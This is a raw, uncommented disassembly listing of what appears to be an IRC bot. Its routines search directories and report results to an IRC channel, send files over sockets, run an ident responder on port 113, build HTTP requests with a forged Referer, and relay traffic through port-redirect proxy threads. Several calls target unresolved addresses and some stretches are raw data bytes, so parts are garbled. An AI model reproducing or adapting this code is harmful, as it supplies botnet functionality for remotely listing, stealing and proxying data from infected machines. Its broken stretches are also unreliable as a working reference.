sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41B590
mov edi, [ebp+arg_0]
push offset asc_429998 ; "\n"
push edi
call sub_41C0F4
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40F9C9
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FAC8
; ---------------------------------------------------------------------------
loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40FAAE
call sub_41AFE0
pop ecx
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push edi
call sub_41AFE0
pop ecx
mov byte ptr [eax+edi], 2Ah
push 3Ch
push 96h
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 18h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_40FAC8
; ---------------------------------------------------------------------------
loc_40FAAE: ; CODE XREF: sub_40F96A+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj
; sub_40F96A+142j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
cmp [ebp+arg_C], ebx
jz short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
cmp eax, 2
pop ecx
jbe short loc_40FB63
push [ebp+arg_C]
call sub_41AFE0
sub eax, 3
pop ecx
jz short loc_40FB14
loc_40FB08: ; CODE XREF: sub_40F96A+1A8j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40FB14
dec eax
jnz short loc_40FB08
loc_40FB14: ; CODE XREF: sub_40F96A+19Cj
; sub_40F96A+1A5j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41B5F0
add esp, 0Ch
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
loc_40FB63: ; CODE XREF: sub_40F96A+180j
; sub_40F96A+18Ej
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 25C0000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 2750000h
test eax, eax
jz loc_40FF53
mov edi, 1FFh
loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j
cmp [ebp+var_388], ebx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40FF3B
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2740000h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
nop
call near ptr 2730875h
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40FC04
mov ecx, offset aAm ; "AM"
loc_40FC04: ; CODE XREF: sub_40F96A+293j
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40FC10
sub eax, 0Ch
loc_40FC10: ; CODE XREF: sub_40F96A+2A1j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41B886
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40FDB3
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40FC84
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
jmp loc_40FEFC
; ---------------------------------------------------------------------------
loc_40FC84: ; CODE XREF: sub_40F96A+2E0j
cmp [ebp+arg_C], ebx
jz loc_40FD6E
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FD24
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40FD29
; ---------------------------------------------------------------------------
loc_40FD24: ; CODE XREF: sub_40F96A+3B1j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40FD29: ; CODE XREF: sub_40F96A+3B8j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FEFD
; ---------------------------------------------------------------------------
loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41B980
add esp, 14h
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40FDF2
push ebx
push [ebp+var_368]
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
push esi
loc_40FDDE: ; CODE XREF: sub_40F96A+577j
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 1Ch
jmp loc_40FF0C
; ---------------------------------------------------------------------------
loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj
cmp [ebp+arg_C], ebx
jz loc_40FEE6
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset dword_4293C4
push edi
push eax
call sub_41B980
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
lea eax, [ebp+var_35C]
push eax
call sub_41AFE0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40FE92
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40FE97
; ---------------------------------------------------------------------------
loc_40FE92: ; CODE XREF: sub_40F96A+51Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40FE97: ; CODE XREF: sub_40F96A+526j
lea eax, [ebp+var_248]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40FDDE
; ---------------------------------------------------------------------------
loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
loc_40FEFC: ; CODE XREF: sub_40F96A+315j
push esi
loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj
lea eax, [ebp+var_248]
push eax
call sub_41B980
add esp, 18h
loc_40FF0C: ; CODE XREF: sub_40F96A+444j
; sub_40F96A+483j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
cmp [ebp+arg_8], ebx
jz short loc_40FF3B
push 7D0h
call near ptr 26703BBh
nop
loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj
; sub_40F96A+246j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 2750000h
test eax, eax
jnz loc_40FB8F
loc_40FF53: ; CODE XREF: sub_40F96A+21Aj
push [ebp+arg_0]
call near ptr 2730000h
nop
cmp [ebp+arg_8], ebx
jz short loc_40FF96
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_41B886
add esp, 14h
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FF96: ; CODE XREF: sub_40F96A+5F5j
cmp [ebp+arg_C], ebx
jz short loc_40FFB0
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_41B886
pop ecx
pop ecx
jmp short loc_40FFCA
; ---------------------------------------------------------------------------
loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_41B886
add esp, 10h
loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj
; sub_40F96A+644j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4CAFC4
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40F96A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 26F07E8h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4100A8
push esi
push ebx
nop
call near ptr 2720B64h
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_4100A1
loc_410035: ; CODE XREF: sub_40FFF0+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_41B590
add esp, 0Ch
cmp edi, [ebp+arg_4]
loc_41004D: ; DATA XREF: ___:00437A30o
; ___:00437A44o
jbe short loc_410052
mov edi, [ebp+arg_4]
loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
nop
call near ptr 2760000h
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 26F0000h
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_41009C
call dword_4CAF08
cmp eax, 2733h
jnz short loc_4100A1
xor eax, eax
loc_41009C: ; CODE XREF: sub_40FFF0+9Bj
sub [ebp+arg_4], eax
jnz short loc_410035
loc_4100A1: ; CODE XREF: sub_40FFF0+43j
; sub_40FFF0+A8j
push ebx
nop
call near ptr 265098Dh
loc_4100A8: ; CODE XREF: sub_40FFF0+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40FFF0 endp
; =============== S U B R O U T I N E =======================================
sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_41AFE0
test eax, eax
pop ecx
jbe short loc_4100D6
loc_4100C0: ; CODE XREF: sub_4100AD+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_4100CA
mov byte ptr [esi+edi], 2Fh
loc_4100CA: ; CODE XREF: sub_4100AD+17j
push edi
inc esi
call sub_41AFE0
cmp esi, eax
pop ecx
jb short loc_4100C0
loc_4100D6: ; CODE XREF: sub_4100AD+11j
mov eax, edi
pop edi
pop esi
retn
sub_4100AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4CAEE4
push 6
push 1
push 2
call dword_4CAFF4
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CAF74
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40AAF9
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz short loc_4101B8
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410154
mov eax, offset dword_43D128
loc_410154: ; CODE XREF: sub_4100DB+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CAFC4
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CAF8C
pop esi
loc_4101B8: ; CODE XREF: sub_4100DB+6Bj
push ebx
call dword_4CB00C
call dword_4CAECC
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41B886
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4101F8
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_4101F8: ; CODE XREF: sub_4100DB+102j
pop edi
pop ebx
leave
retn
sub_4100DB endp
; ---------------------------------------------------------------------------
loc_4101FC: ; DATA XREF: ___:00401666o
; sub_401ACD+4369o
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_4CAF74
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4CAFF4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410360
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_43DEBC[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_4CAFA0
cmp eax, 0FFFFFFFFh
jz loc_410360
push 5
push ebx
call dword_4CAF9C
cmp eax, 0FFFFFFFFh
jz loc_410360
mov [ebp-0Ch], edi
mov edi, 200h
loc_410287: ; CODE XREF: ___:004102E6j
; ___:00410349j ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4CB008
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_41035B
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4CB000
push eax
lea eax, [ebp-238h]
push offset dword_433F94
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_410287
lea eax, [ebp-238h]
push esi
push eax
call sub_417F7F
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_41B590
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_40B08D
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-238h]
push esi
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz loc_410287
mov dword ptr [ebp-8], 1
jmp loc_410287
; ---------------------------------------------------------------------------
loc_41035B: ; CODE XREF: ___:0041029Cj
cmp [ebp-8], esi
jnz short loc_410387
loc_410360: ; CODE XREF: ___:00410243j
; ___:00410267j ...
call dword_4CAF08
push eax
lea eax, [ebp-238h]
push offset dword_433F50
push eax
call sub_41B886
lea eax, [ebp-238h]
push eax
call sub_4151AC
add esp, 10h
loc_410387: ; CODE XREF: ___:0041035Ej
push ebx
call dword_4CB00C
push dword ptr [ebp-4]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26D0000h
pop edi
pop esi
pop ebx
loc_4103AA: ; DATA XREF: sub_401ACD+613Bo
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_4CAF74
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4CAFF4
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_410516
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43DEBC[ecx], eax
call dword_4CAE84
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_4CAFA0
test eax, eax
jnz loc_410516
push 0Ah
push dword ptr [ebp+8]
call dword_4CAF9C
test eax, eax
jnz loc_410516
loc_41045A: ; CODE XREF: ___:00410470j
lea eax, [ebp-4]
push eax
lea eax, [ebp-28h]
push eax
push dword ptr [ebp+8]
call dword_4CB008
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41045A
movzx eax, word ptr [ebp-26h]
push dword ptr [ebp-40h]
mov [ebp-14Ch], edi
mov [ebp-30h], esi
push eax
push dword ptr [ebp-24h]
call dword_4CB000
push eax
lea eax, [ebp-350h]
push offset unk_433FFC
push eax
call sub_41B886
push edi
lea eax, [ebp-350h]
push 18h
push eax
call sub_40B0F6
mov [ebp-3Ch], eax
imul eax, 234h
mov ecx, [ebp-40h]
add esp, 20h
mov dword_43DEB4[eax], ecx
lea eax, [ebp-18h]
push eax
lea eax, [ebp-150h]
push esi
push eax
push offset loc_41053B
push esi
push esi
nop
; ---------------------------------------------------------------------------
dw 53E8h
; ---------------------------------------------------------------------------
jmp dword ptr ds:0C44D8B02h
; ---------------------------------------------------------------------------
dw 0C969h
dd 234h, 8189C63Bh, 43DEC4h, 75391374h, 63850FD0h, 6AFFFFFFh
dd 0BCE89032h, 0EB0225FEh, 69E890EDh, 50022608h, 433FC068h
dd 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
jmp short loc_410519
; ---------------------------------------------------------------------------
loc_410516: ; CODE XREF: ___:0041040Dj
; ___:00410441j ...
mov edi, [ebp+8]
loc_410519: ; CODE XREF: ___:00410514j
push edi
call dword_4CB00C
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-40h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 26D0000h
pop edi
pop esi
loc_41053B: ; DATA XREF: ___:004104CEo
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CAFF4
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_4106F1
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_4CAF74
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_4105CB
lea eax, [ebp-13Ch]
push eax
call dword_4CAFF8
jmp short loc_4105D9
; ---------------------------------------------------------------------------
loc_4105CB: ; CODE XREF: ___:004105BAj
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_4CAF2C
loc_4105D9: ; CODE XREF: ___:004105C9j
cmp eax, edi
jz loc_4106F1
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_4106F1
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_4CB000
push eax
lea eax, [ebp-344h]
push offset unk_434084
push eax
call sub_41B886
push esi
lea eax, [ebp-344h]
push 18h
push eax
call sub_40B0F6
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_43DEBC[ebx]
mov dword_43DEB4[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43DEC0[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_410722
push edi
push edi
nop
call near ptr 267042Eh
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_43DEC4[ecx], eax
jz short loc_4106DE
loc_41068B: ; CODE XREF: ___:00410698j
cmp [ebp-20h], edi
jnz short loc_41069A
push 32h
call near ptr 26703BBh
nop
jmp short loc_41068B
; ---------------------------------------------------------------------------
loc_41069A: ; CODE XREF: ___:0041068Ej
mov ebx, 1000h
loc_41069F: ; CODE XREF: ___:004106DAj
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CAF8C
cmp eax, edi
jle short loc_4106F1
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_41069F
jmp short loc_4106F1
; ---------------------------------------------------------------------------
loc_4106DE: ; CODE XREF: ___:00410689j
nop
call near ptr 2670D70h
push eax
push offset unk_434044
call sub_415220
pop ecx
pop ecx
loc_4106F1: ; CODE XREF: ___:0041057Fj
; ___:004105DBj ...
mov eax, [ebp-4]
imul eax, 234h
push dword_43DEBC[eax]
call dword_4CB00C
push dword ptr [ebp+8]
call dword_4CB00C
push dword ptr [ebp-4]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
pop edi
pop esi
pop ebx
loc_410722: ; DATA XREF: ___:0041066Bo
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41BB20
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_410759: ; CODE XREF: ___:0041079Ej
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_43DEC0[esi]
call dword_4CAF8C
test eax, eax
jle short loc_4107A0
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_43DEBC[esi]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_410759
loc_4107A0: ; CODE XREF: ___:00410783j
push dword_43DEC0[esi]
call dword_4CB00C
push dword ptr [ebp-14h]
call sub_40B412
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
dd 2BF843E8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp-3D4h]
push 1
mov dword ptr [ebp-0Ch], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp-208h]
mov [ebp+8], eax
imul eax, 234h
lea esi, dword_43DEBC[eax]
xor edi, edi
mov [ebp-8], edi
mov [ebp-1F4h], ebx
mov eax, [esi]
mov [ebp-1F0h], eax
lea eax, [ebp-0Ch]
push eax
push edi
lea eax, [ebp-1F4h]
push edi
push eax
push edi
call dword_4CAF5C
test eax, eax
jnz short loc_410843
push dword ptr [esi]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
loc_410843: ; CODE XREF: ___:00410829j
push edi
lea eax, [ebp-3Ch]
push ebx
push eax
push dword ptr [esi]
call dword_4CAF8C
lea eax, [ebp-2Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-4Ch]
push 10h
push eax
push dword ptr [esi]
call sub_4109C4
lea eax, [ebp-0F0h]
push 40h
push eax
push dword ptr [esi]
call sub_4109C4
add esp, 24h
lea eax, [ebp-4]
mov dword ptr [ebp-4], 10h
push eax
lea eax, [ebp-1Ch]
push eax
push dword ptr [esi]
call dword_4CAEC8
test eax, eax
jz short loc_4108BC
call dword_4CAF08
push eax
push offset unk_43415C
call sub_415220
